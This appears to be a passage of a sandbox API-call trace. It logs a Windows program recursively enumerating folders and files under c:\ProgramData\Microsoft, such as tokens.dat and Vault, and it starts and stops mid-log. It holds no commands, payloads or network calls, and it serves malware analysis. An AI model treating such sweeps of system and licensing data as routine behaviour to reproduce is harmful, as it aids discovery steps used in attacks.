lpFileName="c:\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.203] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.203] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.203] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.203] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.203] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.203] lstrcmpW (lpString1="Active.GRL", lpString2=".") returned 1 [0040.203] lstrcmpW (lpString1="Active.GRL", lpString2="..") returned 1 [0040.203] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\MF\\") returned 28 [0040.203] lstrlenW (lpString="Active.GRL") returned 10 [0040.203] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\MF\\", lpString2="Active.GRL" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned="c:\\ProgramData\\Microsoft\\MF\\Active.GRL" [0040.203] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned 38 [0040.203] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.203] lstrcmpW (lpString1="Pending.GRL", lpString2=".") returned 1 [0040.203] lstrcmpW (lpString1="Pending.GRL", lpString2="..") returned 1 [0040.203] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\MF\\") returned 28 [0040.203] lstrlenW (lpString="Pending.GRL") returned 11 [0040.203] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\MF\\", lpString2="Pending.GRL" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL") returned="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL" [0040.203] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL") returned 39 [0040.203] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.203] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.203] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.203] lstrcmpW (lpString1="NetFramework", lpString2=".") returned 1 [0040.203] lstrcmpW (lpString1="NetFramework", lpString2="..") returned 1 [0040.203] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.203] lstrlenW (lpString="NetFramework") returned 12 [0040.203] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="NetFramework" | out: lpString1="c:\\ProgramData\\Microsoft\\NetFramework") returned="c:\\ProgramData\\Microsoft\\NetFramework" [0040.203] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\NetFramework", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\NetFramework\\") returned="c:\\ProgramData\\Microsoft\\NetFramework\\" [0040.203] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\NetFramework\\") returned 38 [0040.203] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\NetFramework\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\NetFramework\\*") returned="c:\\ProgramData\\Microsoft\\NetFramework\\*" [0040.203] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.203] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.203] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.203] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.203] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.203] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.203] lstrcmpW (lpString1="BreadcrumbStore", lpString2=".") returned 1 [0040.203] lstrcmpW (lpString1="BreadcrumbStore", lpString2="..") returned 1 [0040.203] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\NetFramework\\") returned 38 [0040.203] lstrlenW (lpString="BreadcrumbStore") returned 15 [0040.203] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\NetFramework\\", lpString2="BreadcrumbStore" | out: lpString1="c:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned="c:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore" [0040.203] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.203] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.203] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.204] lstrcmpW (lpString1="Network", lpString2=".") returned 1 [0040.204] lstrcmpW (lpString1="Network", lpString2="..") returned 1 [0040.204] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.204] lstrlenW (lpString="Network") returned 7 [0040.204] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Network" | out: lpString1="c:\\ProgramData\\Microsoft\\Network") returned="c:\\ProgramData\\Microsoft\\Network" [0040.204] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Network", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Network\\") returned="c:\\ProgramData\\Microsoft\\Network\\" [0040.204] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Network\\") returned 33 [0040.204] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Network\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Network\\*") returned="c:\\ProgramData\\Microsoft\\Network\\*" [0040.204] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.204] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.204] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.204] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.204] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.204] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.204] lstrcmpW (lpString1="Connections", lpString2=".") returned 1 [0040.204] lstrcmpW (lpString1="Connections", lpString2="..") returned 1 [0040.204] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Network\\") returned 33 [0040.204] lstrlenW (lpString="Connections") returned 11 [0040.204] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Network\\", lpString2="Connections" | out: lpString1="c:\\ProgramData\\Microsoft\\Network\\Connections") returned="c:\\ProgramData\\Microsoft\\Network\\Connections" [0040.204] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.204] lstrcmpW (lpString1="Downloader", lpString2=".") returned 1 [0040.204] lstrcmpW (lpString1="Downloader", lpString2="..") returned 1 [0040.204] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Network\\") returned 33 [0040.204] lstrlenW (lpString="Downloader") returned 10 [0040.204] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Network\\", lpString2="Downloader" | out: lpString1="c:\\ProgramData\\Microsoft\\Network\\Downloader") returned="c:\\ProgramData\\Microsoft\\Network\\Downloader" [0040.204] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.204] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.204] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.204] lstrcmpW (lpString1="Office", lpString2=".") returned 1 [0040.204] lstrcmpW (lpString1="Office", lpString2="..") returned 1 [0040.204] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.204] lstrlenW (lpString="Office") returned 6 [0040.204] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Office" | out: lpString1="c:\\ProgramData\\Microsoft\\Office") returned="c:\\ProgramData\\Microsoft\\Office" [0040.204] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Office", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Office\\") returned="c:\\ProgramData\\Microsoft\\Office\\" [0040.204] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Office\\") returned 32 [0040.204] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Office\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Office\\*") returned="c:\\ProgramData\\Microsoft\\Office\\*" [0040.204] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Office\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.204] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.204] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.204] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.204] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.204] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.204] lstrcmpW (lpString1="ClickToRunPackageLocker", lpString2=".") returned 1 [0040.204] lstrcmpW (lpString1="ClickToRunPackageLocker", lpString2="..") returned 1 [0040.204] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Office\\") returned 32 [0040.205] lstrlenW (lpString="ClickToRunPackageLocker") returned 23 [0040.205] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Office\\", lpString2="ClickToRunPackageLocker" | out: lpString1="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker") returned="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker" [0040.205] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker") returned 55 [0040.205] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.205] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.205] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.205] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2=".") returned 1 [0040.205] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="..") returned 1 [0040.205] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.205] lstrlenW (lpString="OfficeSoftwareProtectionPlatform") returned 32 [0040.205] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" [0040.205] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0040.205] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned 58 [0040.205] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*" [0040.205] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.205] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.205] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.205] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.205] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.205] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.205] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0040.205] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0040.205] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned 58 [0040.205] lstrlenW (lpString="Cache") returned 5 [0040.205] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\", lpString2="Cache" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" [0040.205] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.205] lstrcmpW (lpString1="tokens.dat", lpString2=".") returned 1 [0040.205] lstrcmpW (lpString1="tokens.dat", lpString2="..") returned 1 [0040.205] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned 58 [0040.205] lstrlenW (lpString="tokens.dat") returned 10 [0040.205] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\", lpString2="tokens.dat" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" [0040.205] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned 68 [0040.205] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.205] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.205] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.205] lstrcmpW (lpString1="RAC", lpString2=".") returned 1 [0040.205] lstrcmpW (lpString1="RAC", lpString2="..") returned 1 [0040.205] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.205] lstrlenW (lpString="RAC") returned 3 [0040.205] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="RAC" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC") returned="c:\\ProgramData\\Microsoft\\RAC" [0040.205] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\") returned="c:\\ProgramData\\Microsoft\\RAC\\" [0040.205] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\RAC\\") returned 29 [0040.205] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\*") returned="c:\\ProgramData\\Microsoft\\RAC\\*" [0040.205] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\RAC\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.206] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.206] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.206] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.206] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.206] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.206] lstrcmpW (lpString1="Outbound", lpString2=".") returned 1 [0040.206] lstrcmpW (lpString1="Outbound", lpString2="..") returned 1 [0040.206] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\RAC\\") returned 29 [0040.206] lstrlenW (lpString="Outbound") returned 8 [0040.206] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC\\", lpString2="Outbound" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\Outbound") returned="c:\\ProgramData\\Microsoft\\RAC\\Outbound" [0040.206] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.206] lstrcmpW (lpString1="PublishedData", lpString2=".") returned 1 [0040.206] lstrcmpW (lpString1="PublishedData", lpString2="..") returned 1 [0040.206] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\RAC\\") returned 29 [0040.206] lstrlenW (lpString="PublishedData") returned 13 [0040.206] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC\\", lpString2="PublishedData" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\PublishedData") returned="c:\\ProgramData\\Microsoft\\RAC\\PublishedData" [0040.206] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.206] lstrcmpW (lpString1="StateData", lpString2=".") returned 1 [0040.206] lstrcmpW (lpString1="StateData", lpString2="..") returned 1 [0040.206] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\RAC\\") returned 29 [0040.206] lstrlenW (lpString="StateData") returned 9 [0040.206] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC\\", lpString2="StateData" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\StateData") returned="c:\\ProgramData\\Microsoft\\RAC\\StateData" [0040.206] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.206] lstrcmpW (lpString1="Temp", lpString2=".") returned 1 [0040.206] lstrcmpW (lpString1="Temp", lpString2="..") returned 1 [0040.206] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\RAC\\") returned 29 [0040.206] lstrlenW (lpString="Temp") returned 4 [0040.206] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC\\", lpString2="Temp" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\Temp") returned="c:\\ProgramData\\Microsoft\\RAC\\Temp" [0040.206] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.206] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.206] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.206] lstrcmpW (lpString1="Search", lpString2=".") returned 1 [0040.206] lstrcmpW (lpString1="Search", lpString2="..") returned 1 [0040.206] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.206] lstrlenW (lpString="Search") returned 6 [0040.206] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Search" | out: lpString1="c:\\ProgramData\\Microsoft\\Search") returned="c:\\ProgramData\\Microsoft\\Search" [0040.206] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Search", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Search\\") returned="c:\\ProgramData\\Microsoft\\Search\\" [0040.206] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Search\\") returned 32 [0040.206] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Search\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Search\\*") returned="c:\\ProgramData\\Microsoft\\Search\\*" [0040.206] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Search\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.207] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.207] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.207] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.207] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.207] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.207] lstrcmpW (lpString1="Data", lpString2=".") returned 1 [0040.207] lstrcmpW (lpString1="Data", lpString2="..") returned 1 [0040.207] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Search\\") returned 32 [0040.207] lstrlenW (lpString="Data") returned 4 [0040.207] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Search\\", lpString2="Data" | out: lpString1="c:\\ProgramData\\Microsoft\\Search\\Data") returned="c:\\ProgramData\\Microsoft\\Search\\Data" [0040.207] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.207] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.207] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.207] lstrcmpW (lpString1="User Account Pictures", lpString2=".") returned 1 [0040.207] lstrcmpW (lpString1="User Account Pictures", lpString2="..") returned 1 [0040.207] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.207] lstrlenW (lpString="User Account Pictures") returned 21 [0040.207] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="User Account Pictures" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures") returned="c:\\ProgramData\\Microsoft\\User Account Pictures" [0040.207] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\" [0040.207] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\") returned 47 [0040.207] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\*") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\*" [0040.207] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.207] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.207] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.207] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.207] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.207] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.207] lstrcmpW (lpString1="aETAdzjz.dat", lpString2=".") returned 1 [0040.207] lstrcmpW (lpString1="aETAdzjz.dat", lpString2="..") returned 1 [0040.207] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\") returned 47 [0040.207] lstrlenW (lpString="aETAdzjz.dat") returned 12 [0040.207] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\", lpString2="aETAdzjz.dat" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\aETAdzjz.dat") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\aETAdzjz.dat" [0040.207] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\aETAdzjz.dat") returned 59 [0040.208] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.208] lstrcmpW (lpString1="Default Pictures", lpString2=".") returned 1 [0040.208] lstrcmpW (lpString1="Default Pictures", lpString2="..") returned 1 [0040.208] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\") returned 47 [0040.208] lstrlenW (lpString="Default Pictures") returned 16 [0040.208] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\", lpString2="Default Pictures" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0040.208] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.208] lstrcmpW (lpString1="guest.bmp", lpString2=".") returned 1 [0040.208] lstrcmpW (lpString1="guest.bmp", lpString2="..") returned 1 [0040.208] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\") returned 47 [0040.208] lstrlenW (lpString="guest.bmp") returned 9 [0040.208] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\", lpString2="guest.bmp" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" [0040.208] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp") returned 56 [0040.208] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.208] lstrcmpW (lpString1="user.bmp", lpString2=".") returned 1 [0040.208] lstrcmpW (lpString1="user.bmp", lpString2="..") returned 1 [0040.208] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\") returned 47 [0040.208] lstrlenW (lpString="user.bmp") returned 8 [0040.208] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\", lpString2="user.bmp" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" [0040.208] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp") returned 55 [0040.208] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.208] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.208] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.208] lstrcmpW (lpString1="Vault", lpString2=".") returned 1 [0040.208] lstrcmpW (lpString1="Vault", lpString2="..") returned 1 [0040.208] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.208] lstrlenW (lpString="Vault") returned 5 [0040.208] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Vault" | out: lpString1="c:\\ProgramData\\Microsoft\\Vault") returned="c:\\ProgramData\\Microsoft\\Vault" [0040.208] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Vault", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Vault\\") returned="c:\\ProgramData\\Microsoft\\Vault\\" [0040.208] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Vault\\") returned 31 [0040.208] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Vault\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Vault\\*") returned="c:\\ProgramData\\Microsoft\\Vault\\*" [0040.208] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Vault\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.209] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.209] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.209] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.209] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.209] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.209] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.209] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.209] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0040.209] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0040.209] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.209] lstrlenW (lpString="Windows") returned 7 [0040.209] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Windows" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows") returned="c:\\ProgramData\\Microsoft\\Windows" [0040.209] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\") returned="c:\\ProgramData\\Microsoft\\Windows\\" [0040.209] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0040.209] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="*" | out: 